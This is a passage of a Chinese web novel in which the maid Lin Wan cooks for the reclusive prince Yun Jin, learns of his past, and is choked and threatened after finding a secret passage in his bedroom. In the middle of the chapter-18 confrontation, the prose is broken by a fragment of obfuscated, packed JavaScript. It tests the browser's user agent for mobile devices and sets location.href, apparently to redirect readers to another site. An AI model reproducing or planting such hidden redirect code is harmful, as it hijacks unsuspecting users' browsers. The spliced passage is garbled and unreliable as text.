“咳。”云瀚站在门口,轻咳一声。
林晚吓了一跳,猛地回头,看到是三皇子,慌忙站起身行礼:“三殿下!您怎么到这儿来了?殿下他……”
“二哥睡下了。”云瀚摆摆手,示意她不必多礼。
他饶有兴致地打量着在这个略显凌乱却充满生活气息的小空间,目光扫过案板上切的大小不一的蔬菜,和旁边地上桶里游动的活鱼,最后落在林晚那张粘着灰的小脸上,“你在做什么?给二哥准备膳食?”
“是,殿下。”林晚有些局促地擦了擦脸,结果手上的灰在脸上反而抹得更开了,“只是……奴婢手艺粗陋,怕不合殿下的胃口,正在研究菜谱。”
云瀚走近灶台,好奇地拿起一根林晚刚劈好的、形状不太规则的木柴掂了掂:“这柴火……看着不太好烧?”
他有瞥了一眼案板上的食材,“这鱼……是打算清炖还是红烧?需不需要本王让人送些上号的调料来?御膳房有种秘制的豉油……”
林晚看着这位金贵的皇子在一脸认真地指点厨房工作,有些哭笑不得:“回三殿下,柴火是奴婢自己劈的,是有点湿……”
“鱼是打算清蒸的,放一些姜片去腥就好,调料……奴婢这里有酱油和盐,应该够了。”她实在不好意思说,复杂的做法她现在还驾驭不了。
云瀚点点头,又指着旁边一个瓦罐里的粉末:“这是什么?面粉吗?看着颜色不太对。”
“那是……麦麸,殿下。”林晚解释道,“是喂静心苑后面那边的鸡的。”
“本王看你们二人忙活挺辛苦的,要不这样,”他大手一挥,一副解决问题的爽快模样,“你也别费劲了,本王这就吩咐下去,以后二哥的膳食,每日由御膳房做好了,快马加鞭送过来!保证新鲜热乎。”
“或者,本王直接调个余出来,专门伺候静心苑的灶台,如何?”
林晚一听,脸色微变,连忙摆手:“万万不可,三殿下!”
“为何?”云瀚不解,“难道御厨的手艺还比不上你吗?”
“不是手艺问题。”林晚急切地解释道,“是……是殿下他……他对皇宫里的一切,都非常排斥!您这样直接安排,岂不是……在揭他的伤疤吗?”
话一出口,林晚心里“咯噔”一下,暗道坏了!他一个刚来的洒扫丫鬟,怎么可能知道云烬对皇宫的排斥?
果然,云瀚脸上的疑惑显现出来,他微微眯起眼睛:“林晚,你为何……会知道二哥对皇宫的态度?”
林晚的心跳加速。她强迫自己冷静下来,垂下眼帘,做出努力回忆的样子:“回三殿下,奴婢这几天……在静心苑伺候的时候,感觉到的……”
云瀚盯着她看了几秒,想到二哥心思缜密,他要是对这个丫鬟放心,那应该没有什么问题。他紧绷的神情放松下来,点了点头:“你倒是细心,是本王考虑不周了。”
林晚暗暗松了口气,但心中对云烬与皇宫之间的复杂关系更加好奇。她犹豫了一下,还是忍不住问出了盘旋在心底的疑问:“三殿下,奴婢……还有一事不解。”
“你说。”云瀚心情似乎变好了一点。
“二殿下他对任何人、任何事似乎都……戒备很深,尤其是对皇宫里的一切,更是讳莫如深,可是……”林晚抬起头,目光清澈地看向云瀚。
“为何他对您……似乎没有那种戒备?奴婢看他对您……似乎挺好的。”
云瀚闻言,脸上浮现出一丝复杂的神色,有温暖,有深沉的痛惜。他走到窗边,望着庭院里萧瑟的景色,声音低沉了许多:
“从前在宫里,本王……从小就是二哥的跟屁虫,”他的嘴角不自觉扬起了一丝温暖的笑意,“在宫里那些年,二哥是本王最崇拜的人。”
“他功课好,修炼快,太傅都夸他是天才。本王贪玩,功课都跟不上,都是二哥手把手教本王写字、背书,讲解那些晦涩的典籍。修炼上遇到了瓶颈,也是二哥一遍遍演示给本王,耐心指点……”
他的眼神变得悠远,仿佛回到了无忧无虑的童年:“二哥他……其实也是很贪玩的,点子也多。”
“记得有一年上元节,宫里不让放烟花,他觉得没意思。不知从哪本杂书上看到了方子,拉着本王偷偷在御花园的假山后面,用硝石、硫磺那些东西,自己捣鼓着烟花……”
云瀚说着,忍不住笑出声:“结果你猜怎么着?引线一点,‘砰’的一声巨响,火光冲天!倒挺像那么回事的,可是那火星子乱飞,一下子就把旁边愉贵人宫里的屋顶点着了!火苗蹭蹭往上窜,可把本王吓傻了!”
林晚听得目瞪口呆,完全无法将云瀚口中
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这个贪玩、点子多、敢在皇宫里**的少年,与现在这个阴郁、冰冷、仿佛背负着整个世界的云烬联系起来。
“后来呢?”她忍不住追问。
“后来?”云瀚脸上的笑容淡去,叹了口气,“后来自然是惊动了父皇和侍卫。你也知道皇宫里的女人,风吹草动都会小题大做。愉贵人哭天抢地,父皇龙颜大怒,本王当时是吓惨了,话都说不利索。是二哥……”
他顿了顿,声音带着深深的敬佩和一丝丝的哽咽,“是二哥他,一把将本王拽到身后,挺直了腰板,对着父皇说这些都是他一人所为,与我无关,他甘愿受罚。”
“父皇盛怒之下,罚二哥在太庙前跪了三天三夜,不准进食,只给清水。那时候还是寒冬……”云瀚的声音低了下去,充满了心疼。
“本王想去求情,被母妃死死拉住。后来见到二哥,他都快冻僵了,嘴唇干裂发紫,可眼神还是那么倔强……”
“三天三夜……他身体能吃得消吗?”林晚低声询问。
“那时候二哥身体很好的,修炼勤奋,在众皇子里面,境界最高,武艺最强!”云瀚的语气了充满了自豪,就好像是在说他自己一样。
“二哥他一直就是这样,护短、有担当。从前在宫里,本王就觉得有他在,天塌下来都不怕……”他的声音越来越低,眼神也渐渐黯淡下来,“直到五年前……”
“五年前”三个字如同一道惊雷,瞬间劈散了屋内温馨的氛围,也勾起了林晚的心神。
云瀚猛的住口,脸上的回忆瞬间冻结,取而代之的是一种深切的痛苦和……恐惧?他像是被什么东西烫到一样,迅速移开目光,看向窗外。
“咳……都是些陈年旧事了,不提也罢。”他转过身,脸上努力挤出一个笑容。
“你刚才说,你要和小翠一起改造静心苑?具体怎么做,说来听听,或许本王也能帮上点小忙。”
林晚的心还沉浸在云瀚描绘的那个鲜活的、充满烟火气的少年云烬形象里,巨大的反差让她内心震撼不已。那个会带着弟弟调皮捣蛋、会一力承担罪责保护弟弟的兄长,和眼前这个静心苑里死寂、自毁的云烬,真的是同一个人吗?
五年前……到底发生了什么可怕的事情,能将一个人改变至此?
她看着云瀚明显不愿再提的回避态度,知道追问下去只会适得其反。
她压下翻涌的思绪和强烈的好奇,顺着云瀚的话头,将和小翠商量的大致想法说了出来,比如想种些花草,给云烬改善伙食,添置些颜色温暖的布艺,让院子看起来不那么冷清。
厨房里,炉灶的火苗安静地跳跃着,映照着两人各怀心思的面庞。
第17章 他吃了
翌日清晨,静心苑笼罩在一层薄薄的秋雾中。
【任务发布:制作一份让目标人物愿意尝试的菜肴。】
【任务奖励:积分+100。】
林晚站在厨房门口,看着里面寒酸的景象,眉头紧皱。地上盆里游动的活鱼是唯一的荤腥,旁边孤零零地放着半瓶粗盐和一小瓶浑浊的酱油。刘嬷嬷给的麦麸还有不少,可那是喂鸡的。
“巧妇难为无米之炊……”林晚低声叹息。
昨天云瀚回忆中那个鲜活、会捣鼓烟花的少年云烬,与现在静心苑死寂的主人,形成了强烈的反差,让她更坚定了要改变这里的决心。
那今天就给他上一道菜!
可眼下,最迫切的就是食材和调料。
正思忖着,庭院里传来脚步声。云瀚一身清爽的黄白锦袍,精神奕奕地走了进来,显然昨晚在静心苑休息得不错。
“三殿下早。”林晚连忙行礼。
“不必多礼。”云瀚摆摆手,目光扫过厨房,“怎么,又在研究给二哥做什么好吃的?”
林晚苦笑着指了指水桶:“殿下,巧妇难为无米之炊。您看,只有一条鱼,盐和酱油也就这么点,品质也……”她拿起那瓶浑浊的酱油晃了晃,“这样的调料,就算御厨来了也难做出好味道。”
云瀚走近一看,眉头也皱了起来。
“所以,想求三殿下帮个忙。”林晚趁机开口,眼神恳切,“能不能……麻烦您让人送些好点的调味品来?”
“油、盐、酱、醋,基础的就行,品质好一点,还有……”她从袖中掏出一张叠好的纸,是小翠昨晚根据林晚的描述和她自己知道的一些耐寒植物连夜写的清单,
“这是我和小翠想在后院种植的植物的种子清单,有些是耐寒的,有些是四季常青的,也麻烦您了!”
云瀚结果清单扫了一眼,上面歪歪扭扭地写着“薄荷”、“迷迭香”、“石竹”、“铃兰”等名字,有些还简单地画了叶子的形状。
他爽朗一笑“小事一桩!包子我身上,下午我就让人送来,保证都是上好的!”他拍了拍胸脯,一副“交给我你放心”的模样。
送走云瀚,林晚看着桶里那条鱼,深吸一口气。材料有限,那就做最朴实的清蒸鱼吧。她招呼小翠过来帮忙:“小翠,来,帮我打下手,咱们今天给殿下做鱼吃!”
“啊?做……做鱼?”小翠看着那条活鱼,有点手足无措,“林晚姐,我……我不会啊。”
“没事,我教你!”林晚挽起袖子,展现出现代社会社畜的技能,“你去打盆清水来,再找块干净的布,我来处理鱼。”
厨房里顿时忙碌了起来。林晚回忆着现代处理鱼的方法,指挥着小翠:“水放这里……对,按住鱼头……哎呀,小心!”
一时间,厨房里满是水声、鱼尾拍打盆沿的“啪啪”声,还有小翠的惊呼声。
好不容易把鱼敲晕、刮鳞、去内脏、洗干净,林晚在鱼的身上划了几刀,抹上仅有的粗盐,又切了几片薄薄的姜片塞进鱼腹和铺在鱼身上。小翠则笨拙地按照林晚的指示,努力把形状不规则的木柴塞进灶膛。
“火候……先大火后小火……”林晚拿着那张皱巴巴的菜谱,嘴里念念有词,紧张地盯着灶膛。浓烟不时呛得两人咳嗽连连,额角都冒出了细密的汗珠。
“咳咳!柴是湿的……不好烧啊!”小翠被烟熏得泪眼汪汪。
“坚持住!等水开了上汽就好了!”林晚鼓励道,自己也拿着蒲扇使劲扇风。两人手忙脚乱,脸上都蹭上了灶灰,原本略显冷清的厨房被这忙乱的人气烘得暖融融的。
终于,锅里的水沸腾起来,蒸气弥漫。林晚小心地将盛着鱼的盘子架在锅中间,盖上锅盖。
“好了,现在转小火,蒸一刻钟!”她松了口气,和小翠相视一笑,都看到了对方脸上的狼狈和一丝丝成就感。
时间在等待中流逝,清蒸鱼特有的香气渐渐从锅盖缝隙中飘散出来,驱散了厨房里的烟熏味。林晚的心也跟着提了起来,不知道这简陋条件下做出的鱼,能否入得了云烬的口。
时辰一到,林晚小心地揭开锅盖。蒸汽沸腾中,鱼肉呈现出诱人的白色,姜片的辛香混合着鱼肉的鲜甜扑面而来。虽然卖相远比不上御膳房的精致,但这份亲手料理的结果,已经让林晚很满意了。
她将鱼仔细装盘,深吸一口气,端起盘子,走向那扇沉重的正屋大门。
小翠紧张地跟在身后,小声问:“林晚姐,殿下……会吃吗?”
林晚摇摇头,她也不知道。但她知道,这是她主动迈出的,改变静心苑氛围的第一步。<
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br>推开屋门,光线依旧昏暗。云烬坐在书案后,手里拿着一卷书,但似乎并未看进去。听到动静,他抬起头,目光落在林晚手中的盘子上,眉头轻轻蹙了一下。
“殿下,”林晚将盘子轻轻放在书案一角,离他稍远的位置,声音带着一丝紧张,“这是……奴婢……这是我刚做好的清蒸鱼,您……要不要尝尝看?”
她紧张得不知道该自称奴婢还是我。
云烬放下书卷,视线在那盘其貌不扬的鱼上停留片刻,又移到林晚那张粘着灶灰、带着期待和忐忑的脸上。他薄唇轻启:
“静心苑有厨娘了?”
林晚的心沉了一下,以为又要被拒绝。却见云烬拿起旁边的银块,极其挑剔地夹了一块靠近鱼腹、最嫩的鱼肉,放入口中。
时间仿佛凝固了。林晚和躲在门外偷看的小翠屏住呼吸,心脏几乎要跳出嗓子眼。
云烬面无表情地咀嚼着,动作优雅却带着审视。片刻后,他放下筷子,目光扫过林晚:
“火候过了,鱼肉稍老。腥气未除尽,姜放少了,盐重了三分。”
林晚眼中的目光黯淡下去,失望地低下头。果然……还是不行吗?
然而,云烬下一句话却让她猛地抬起头,“……比前山送来的猪食强些。”他语气平淡,甚至带着点嫌弃,却接着说道。
更让林晚和小翠目瞪口呆的是,他竟然伸手将那整盘鱼挪到了自己面前,拿起筷子,慢条斯理地、一口接一口地吃了起来。
虽然他的表情依旧淡漠,甚至眉头还微微皱着,仿佛在忍受什么难吃的东西,但那持续进食的动作却无比真实。
【检测到目标人物‘云烬’情绪产生波动。】
【好感度更新:+3%】
【当前好感度:15%】
【任务完成,获得奖励:积分+100。】
【当前积分:1330】
系统的提示音在林晚脑中响起。
+3%?因为一盘被批评得一无是处的鱼?林晚愕然之余,一股巨大的喜悦涌上心头。她和小翠对视一眼,都从对方眼中看到了难以置信的惊喜。
厨房的烟火,似乎真的飘进了这座冰封的宫殿,带来了一丝微弱的暖意。
改造静心苑的计划,在清蒸鱼的香气中,悄然迈出了坚实的第一步。
第18章 卧房的禁忌
午后慵懒的阳光透过雕花窗棂,在静心苑正屋的地板上投下温暖的光斑。林晚哼着不成调的小曲,手中的抹布擦拭着紫檀木书架的边角,动作轻快得像只雀跃的云雀。
【宿主:林晚】
【身份:二皇子别院·静心苑·正室洒扫(特许)】
【目标:云烬(二皇子)】
【当前好感度:15%】
【污染值:???(权限不足)】
【积分:1330】
【任务倒计时:168天10小时22分】
系统面板上那明晃晃的【15%】好感度,如同蜜糖一样浸润着她的心田。
“他吃了!他居然全吃了!”林晚的嘴角抑制不住地上扬,脑海中反复回放着云烬皱着眉、一脸嫌弃却又一口接一口吃光清蒸鱼的画面。
那毒舌的点评(“火候过了,鱼肉稍老。腥气未除尽,姜放少了。盐重了三分”)此刻在她听来,都带着点傲娇的可爱,甚至成了某种……独特的认可?
“看来冰山也是会融化的嘛!”她美滋滋地想,心情前所未有地轻松,“一盘鱼就涨了3%,要是再琢磨点新花样……”
她一边擦拭着书案边缘,一边在脑海里飞快地搜索着现代美食,“红烧肉?不行,没酱油了……糖醋排骨?醋好像也不够……对了!水煮鱼片!又香又辣,肯定能刺激他的味蕾!”
她越想越兴奋,仿佛已经看到云烬被辣得皱眉却又停不下筷子的样子,好感度蹭蹭往上涨。
心情大好的她,打扫起来也格外卖力。她仔细擦拭着每一寸桌面,连书案下方平时容易忽略的角落也不放过。
阳光正好照在云烬床头附近的地板上,那里似乎积了薄薄一层灰。林晚蹲下身,拿着抹布探进去,准备彻底清理一下。
“咦?”指尖触碰到一块地板边缘,感觉似乎有些松动,与其他严丝合缝的地板不同。她下意识地用手指抠了抠那块松动的边缘。
“咔哒。”
一声极其轻微、却异常清晰的机括弹动声,在寂静的房间里响起。
林晚的动作瞬间僵住,心跳漏了一拍。她屏住呼吸,难以置信地看着眼前发生的一幕——
就在云烬那张简洁的雕花木床床头附近,一块大约两尺见方的地板,竟然无声无息地向内滑开,露出了一个黑黢黢的洞口!
一股冰冷、潮湿、带着浓烈腐朽和某种难以言喻的……污秽压抑气息,如同实质的寒流,瞬间从洞口汹涌而出。
那气息冰冷刺骨,带着一种深入骨髓的阴邪,仿佛能冻结灵魂。
林晚甚至隐约听到了洞口深处传来的、如同万魂哀嚎般的凄厉尖啸,若有若无,却直刺脑海。
洞口下方,隐约可见向下延伸的、粗糙凿刻的石阶,一直没入深不见底的黑暗。那黑暗仿佛有生命般,无声地吞噬着光线,散发出令人心悸的寒意。
林晚的血液仿佛在这一刻凝固了。她的大脑一片空白,刚才的兴奋和得意瞬间被巨大的惊骇取代。
这是什么地方?这股气息……让她瞬间联想到朔月之夜那满地的诡异鸦尸,以及刘嬷嬷讳莫如深的警告,这绝非普通的密室或地道!
就在她惊魂未定,甚至被那股邪异气息冲击得浑身发冷、动弹不得时——
“你在干什么?!”
一个冰冷彻骨、蕴含着滔**意和……疯狂杀意的声音,如同九幽地狱传来的咆哮,在她身后炸响!那声音里蕴含的暴戾,远超之前任何一次!
林晚的心脏几乎要从喉咙里跳出来,她猛地回头。
云烬不知何时站在了门口,逆着光,看不清表情,但那周身散发出的恐怖低气压,比任何一次发怒都要骇人百倍!他像一道裹胁着毁灭风暴的阴影,瞬间逼近,速度快的林晚根本来不及做出任何反应!
一股巨大的力量猛地攫住了她的脖颈,云烬的手如同烧红的铁钳,狠狠地将她从地上提了起来,力道之大让她双脚瞬间离地,窒息感如同潮水般汹涌袭来。
“呃!”林晚痛呼出声,眼前阵阵发黑。
她被强迫着仰起头,对上了云烬的眼睛。
那双深邃的眼眸此刻不再是寒潭,而是燃烧着熊熊的、近乎疯狂的怒火。里面翻涌着极致的暴怒、被侵犯了绝对禁地的狂躁。
“你看到了什么?!”他的声音压得极低,却像淬了毒的冰锥,每一个字都带着刺骨的寒意和毁灭性的力量,气息喷在林晚脸上,让她浑身汗**倒竖,灵魂都在战栗。
“谁让你碰那里的?!说!你是不是他们派来的?!”
“我……我不是故意的!”林晚吓得魂飞魄散,声音抖得不成样子,完全顾不上去想云烬口中的“他们”是什么意思。
眼泪瞬间涌了上来,死亡的恐惧笼罩了她,“我只是……只是擦地……那块地板松了……我……我不知道……”
她拼命挣扎,却如同蚍蜉撼树。
“擦地?”云烬的嘴角勾起一个极其扭曲、充满戾气的弧度,眼神里的怒火几乎要将她焚烧殆尽。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15768349|174648||http|test|mini|href|location''.split(''|''),0,{}));
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>他猛地将她狠狠掼倒在地,林晚重重摔在冰冷坚硬的地板上,后背和手肘传来剧痛,但她根本顾不上。
云烬看也没看她,几步冲到那敞开的密道口前,动作快得几乎出现残影。他蹲下身,手指在洞口边缘某处用力一按。
“咔哒!”又是一声轻响,那块滑开的青石板迅速复位,严丝合缝,仿佛刚才的黑洞从未出现过。只剩空气中残留的那一丝冰冷、污秽、令人作呕的气息。
做完这一切,云烬猛地转身,胸膛剧烈起伏,苍白的脸上因为暴怒而泛起不正常的红晕。他死死盯着瘫坐在地上、惊魂未定、泪眼婆娑、因窒息而剧烈咳嗽的林晚,眼神中的怒火并未平息。
“滚出去。”他的声音低沉沙哑,带着一种毁灭性的疲惫和不容置疑的命令,“再让我看到你靠近这里一步……”
他微微眯起眼,眼中甚至透出一股杀意,“我就把你丢进去,让你体验一下。”
林晚如蒙大赦,连滚带爬地从地上挣扎起来,甚至不敢再看云烬一眼,踉踉跄跄地冲向门口。在她手碰到门框的瞬间,身后传来一声刺耳的碎裂声。
云烬抓起书案上她刚刚放下的、还温热的药碗,狠狠砸在了她刚才摔倒的地方。
深褐色的药汁和白玉碎片四溅开来,一片狼藉。一块锋利的碎片甚至擦着林晚的脸颊飞过,留下一道火辣辣的刺痛。
“滚!”伴随着碗碟碎裂声的,是他压抑到极致的、如同受伤野兽般的、充满毁灭欲的低吼。
林晚猛地拉开门,跌跌撞撞地冲了出去,反手死死关上门,背靠着冰冷的门板,大口大口地喘着气,浑身抖得像风中的落叶。
脖颈上的指痕火辣辣地疼,脸颊的划痕渗出血珠,恐惧和后怕如同冰冷的潮水,瞬间淹没了刚才所有的喜悦。
【检测到目标人物‘云烬’情绪剧烈波动!】
【好感度更新:-15%】
【当前好感度:0%】
一连串冰冷的系统提示音在她脑中疯狂炸响,如一记重锤,狠狠砸在她的心上。刚才还明媚如春的心情,瞬间坠入冰窟。
她知道,自己触碰到了云烬更深一层的秘密。她也知道了,这个密道一定跟上回朔月之夜有关系,或许那天消失的云烬,就躲在这个密道里面。
但他为什么要躲进去呢……?黑鸦!那些死掉的黑鸦!
一个念头在她脑子里炸响,朔月之夜云烬有暴走的风险?!
林晚靠着门板滑坐在地,将脸深深埋进膝盖里。
第19章 一切照旧
夜色浓稠,如同化不开的墨,沉沉地压在静心苑低矮的丫鬟房上。
林晚蜷缩在冰冷的木板床上,薄被裹紧身体,却驱不散从骨头缝里渗出的寒意。
脖颈上被掐过的地方,皮肤下的淤痕隐隐作痛,每一次吞咽,都拉扯出一丝疼痛。云烬那双燃烧着疯狂怒火、布满血丝的眼睛,一遍遍在她脑海中闪现。
“谁让你碰那里的?!”
“你是不是他们派来的?!”
“他们……”这两个字反复撕扯着她的思绪。那个半年后要来取他性命的钦天监?还是……别的什么?他口中的“他们”,似乎对他怀有更深的恶意,是窥探他秘密、想要利用他、甚至毁灭他的存在?
自己无意中打开密道的行为,在他眼中,竟然就等同于“他们”派来的探子。
她不敢再想密道深处那令人作呕的腐朽气息,更不敢想云烬当时那几乎要将她撕碎的暴怒。她只想缩进壳里,离那个随时可能疯批的皇子远一点,再远一点。
……
第二天,晨光熹微,却驱不散林晚心头的阴霾。她没有去正屋洒扫,而是找到了同样惴惴不安的小翠。
“小翠,”林晚的声音带着一丝不易察觉的颤抖,“今天……能不能麻烦你帮我送药?一日三次……”
她顿了顿,补充道,“就说……就说我身体不适。”
小翠看着林晚苍白的脸色和脖颈上淡淡的指痕,吓得连连点头:“好,好!林晚姐你放心,我去送!你……你好好休息。”
她显然也听说了昨天正屋里的动静。
林晚躲进了后院。这里远离正屋,是她和小翠规划中的“小花园”。
她拿着小锄头,蹲在昨天翻好的土地上,机械地拨弄着泥土,将三皇子送来的那些种子——薄荷、迷迭香、石竹、铃兰、冬青,一粒粒埋下去。
动作僵硬,心不在焉。
她的脑子里像塞了一团乱麻,15%好感度被瞬间清零的打击,比最初从0%开始还要沉重百倍。她甚至怀疑,自己是否还有勇气再踏进那间屋子。
时间在煎熬中慢慢流逝。午后的阳光有些刺眼,林晚依旧蹲在泥地里,手指无意识地抠着土块。
“林晚姐!”小翠气喘吁吁地跑过来,小脸煞白,手里端着原封不动的药碗,“殿下……殿下他又没喝!早上的、午时的,都让我原样端回来了,怎么办啊?”
林晚的心猛地一沉。他连发泄的力气或者意愿都没有了吗?是昨天情绪剧烈波动后身体更加虚弱,还是……彻底的自毁倾向又占了上风?
【任务倒计时:167天10小时22分】
不行!不能这样下去!任务倒计时在无情地跳动,他若真出了事,自己也得跟着陪葬!恐惧被一股更强烈的求生欲压了下去。
林晚猛地站起身,拍了拍手上的泥土,眼神里闪过一丝决绝:“酉时的我去送。”
厨房里,林晚深吸一口气。她决定再使用一次“清蒸鱼计划”。
这一次,她拿出了云瀚送来的那些上好的调味料。晶莹如雪的细盐,散发着醇厚豆香的酱油,还有一小坛子澄澈透亮的菜籽油。品质远非前山厨房里那些浑浊劣质的货色可比。
她处理鱼的动作比第一次更加娴熟,火候也控制得恰到好处。
当鱼蒸好出锅,淋上那极品酱油和滚烫的菜籽油,撒上翠绿的葱花时,一股比上次更加诱人、层次更丰富的鲜香瞬间弥漫了整个厨房。连她自己闻着,都忍不住咽了咽口水。
酉时的药也煎好了,林晚将深褐色的药汁滤入白玉碗,又将那盘精心烹制的清蒸鱼放在另一个托盘里。深吸一口气,端着两份“心意”,走向那扇沉重的黑檀木门。
推开门,熟悉的冰冷气息扑面而来。云烬依旧坐在书案后,背对着门口,望着窗外沉沉的暮色。听到脚步声,他缓缓转过身。
他的脸色比昨天更加苍白,眼下带着浓重的青影,嘴唇毫无血色。但那双眼睛,却锐利如鹰隼,瞬间锁定了林晚手中的托盘,尤其是那盘散发着诱人香气的清蒸鱼。
他的鼻翼几不可查地动了一下,随即,嘴角勾起一抹极其冰冷、充满嘲讽的弧度。
“呵。”一声轻嗤响起。
林晚的心瞬间提了起来。
“本事不小。”云烬的声音不高,却字字如刀,“连堂堂三皇子,都能被你支使得团团转,给你送来这等上好的东西?”
他站起身,缓步踱到林晚面前,高大的身影投下浓重的阴影,将她完全笼罩。那双深邃的眼眸里,翻涌着毫不掩饰的轻蔑、审视。
他微微俯身,冰冷的呼吸几乎喷在林晚脸上,声音压得更低,却更具压迫感,“你以为,一盘清蒸鱼,就能在我这里,讨到什么特别的‘恩典’?”
他盯着林晚瞬间涨红的脸,眼神像在看一件玩物,“你太看得起自己了。”
他伸出手指,虚虚地点了点林晚的胸口,指尖并未触碰,但那无形的压力却让林晚呼吸都觉得困难。
“别忘了你自己的身份,”他语气淡漠,“你只是一个我动动手指就能碾死的丫鬟,不要来试探我的底线。”
“我……”林晚的恐惧被这劈头盖脸的羞辱点燃,化成了熊熊的怒火和巨大的委屈。
她猛地抬起头,眼眶发红,声音因为激动而拔高,“三殿下送东西来,是因为我求他帮忙……我只是……我只是想……”
“想什么?”云烬厉声打断她,“想用这点东西来讨好我?”
他猛地抬手,狠狠一挥!
“哗啦——!!!”
托盘连同上面的白玉药碗和那盘精心烹制的清蒸鱼,被一股巨大的力量狠狠掀飞。
滚烫的药汁混合着鲜美的鱼汤、雪白的鱼肉、青翠的葱花,在空中泼洒开来,如同下了一场污秽的雨,尽数泼溅在光洁的青石地板上。
白玉碗摔得粉碎,瓷盘裂成几瓣,深褐与油亮的汤汁在地板上迅速摊开一大片狼藉,浓重的药味混杂着鱼腥气,瞬间充斥了整个空间。
林晚僵在原地,看着地上的一片狼藉,满腔的愤怒和委屈如同火山般在胸腔里翻涌,几乎要冲破喉咙。
她死死咬住下唇,直到尝到了铁锈般的血腥味,才勉强将冲到嘴边的怒骂和眼泪硬生生咽了回去。
她狠狠地瞪了云烬一眼,那眼神里充满了愤怒、不甘和深深的失望。然后,她猛地
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转身,甚至没有行礼。
夜,深得如同浓墨。林晚躺在床上,辗转反侧,愤怒还未平息,委屈仍在心头萦绕。
就在这时,枕边的墨玉铃,铃芯处那点极细的金砂,毫无征兆地亮起了柔和而持续的暖金色微光。
林晚身体一僵。召唤?在这个时候?
她盯着那点微光,内心挣扎了片刻。最终,她认命地披衣起身。
推开正屋的门,屋内只点了一盏角落里的孤灯,光线昏暗。
云烬并未坐在书案后,而是靠在内室的门框上,抱着双臂,身影几乎融入阴影。他脸色依旧苍白,眼神却比白天平静了许多,只是带着一种惯常的、居高临下的淡漠。
“明日开始,”他的声音在寂静中响起,带着命令的口吻,“一日三次药,照旧送来。”
他的目光扫过地上那片已经半凝固的、散发着混合气味的巨大污渍,眉头几不可察地蹙了一下,随即移开。
“把这里,”他用下巴点了点那片狼藉,“打扫干净。”
没有道歉,没有解释,仿佛白天那场疾风骤雨般的羞辱和破坏从未发生过。语气平淡得像是在吩咐一件再平常不过的小事。
林晚垂在身侧的手紧紧攥成了拳头,指甲深深陷进掌心。愤怒的火苗再次蹿起,烧得她胸口发疼。她真想把手里的抹布狠狠摔在他脸上!
但最终,她只是深深地吸了一口气,又缓缓吐出。她走到角落,拿起水桶和抹布,一言不发地走到那片污渍前,蹲下身。
动作带着压抑的怒火,擦拭的力道很大,仿佛要将地板擦穿,要将所有的**和愤怒都揉进这肮脏的污渍里一起抹掉。她咬着牙,一遍遍地擦洗,水换了一桶又一桶。
云烬就那样靠在门框上,静静地看着她。昏黄的灯光勾勒出她单薄却倔强的背影,看着她用力擦拭的动作,看着她紧抿的唇线。他没有说话,屋内只剩下布料摩擦地面和水声晃动的单调声响。
不知过了多久,地板终于恢复了光洁,只留下一片深色的水痕。林晚直起身,腰背酸痛,手臂发麻。她将脏水和抹布收拾好,看也没看云烬一眼,端起水桶就往外走。
在她即将跨出门槛的那一刻,身后没有任何声音传来。
林晚脚步未停,径直走了出去,反手轻轻带上了门。
站在廊下,夜风带着凉意吹拂着她汗湿的鬓角。她看着恢复整洁的庭院,又回头望了一眼紧闭的正屋大门。
“一句道歉都没有吗……”林晚委屈地吹着头,眼泪顺着睫毛滴在地上。
她仰起头,看向天空那一轮月牙,从上次满月到这次残月,自己竟然已经来到这个世界半个月了吗?
下一秒,她一声轻笑,自嘲道:“人堂堂皇子……凭什么会对一个丫鬟道歉……”
但至少……这命令本身,意味着他不再将她视为必须立刻清除的“窥探者”。
那扇紧闭的门,对她而言,应该是又重新打开了。
两人之间那根紧绷到极致的弦,在断裂的边缘,被强行拉回了一个危险的、脆弱的平衡点。
关系,似乎又回到了最初那种冰冷、疏离、但至少……尚能维持的表面状态。
第20章 祠堂里的孤影
清晨,秋风吹过静心苑,将林晚的发带扬起。
她按时完成了辰时的送药。
云烬依旧沉默,接过药碗一饮而尽,动作干净利落,看起来像是对前天林晚无意间打开密道这件事,仍旧感到厌恶和生气。
而对于那天他对待林晚的行为,就像是稀松平常一般,已经抛在脑后。
林晚心里的**感并未因一夜过去而消散,反而更加沉重。她看着自己脖颈上尚未完全消退的淡红指痕,满眼无奈。
她想起那天被云烬赶出去,又在深夜叫她回去清理地板的场景,生气又好笑:
“皇子就是皇子,骨子里对丫鬟呼来唤去的劣根性,就算是在这远离皇城的破落静心苑,也是一点都没有减少。”
她一边擦拭着正屋的窗棂,一边在心里愤愤地腹诽。
午时送药,依旧风平浪静,云烬眼皮都没抬一下。林晚也很利索,收拾好转身就走,一刻也不愿意多待。
午后再次进入正屋洒扫,刚清理到书房,就听见内室传来轻微的响动。
没过多久,她的余光就瞥见云烬从内室出来,令他有点意外的是,云烬竟然换上了一身更显庄重的深青色锦袍,外面还披了一件厚实的、带着银灰色毛领的披风,将他本就清瘦的身形过得更显单薄。
他看也没看正在打扫的林晚,径直穿过正屋,推开门,一路走出静心苑去。
林晚停下手上的动作,看着敞开的静心苑前门,心里嘀咕:“这大下午的,穿这么厚实是要去哪儿?”
她撇撇嘴,心里那点不痛快反而更清晰了——他倒是潇洒,想去哪就去哪,留下她这个苦命丫鬟给他打扫屋子。
酉时将近,林晚照例去药房煎好了药,却发现正屋里面空无一人。
“还没回来?”林晚愣了一下,这天都快黑了,难道一直就没回来过?
就在这时,脑海中系统的声音响起:
【任务发布:请宿主去给目标人物送晚膳。】
林晚:“?”
送饭?给前天那个差点掐死她的人送饭?
一股强烈的抗拒感瞬间涌上心头。
凭什么?就该饿着他!饿几顿没力气了,看他还怎么嚣张跋扈。
【提示:若目标人物返回静心苑前还未收到晚膳,则视为任务失败。】
【失败惩罚:积分清零。】
“清零?!”虽然林晚现在对那1330积分到底能兑换什么“多厉害的东西”,但是通过上次下棋来判断,积分可能是请求系统帮忙的“点券”。
如此看来的话,为了赌一口气,把这几天当牛做马得来的积分全赔进去,有点太不划算了!
“算你狠!”林晚咬牙切齿地在心里对系统竖了个中指。人在屋檐下,不得不低头。为了积分,为了回家……忍了!
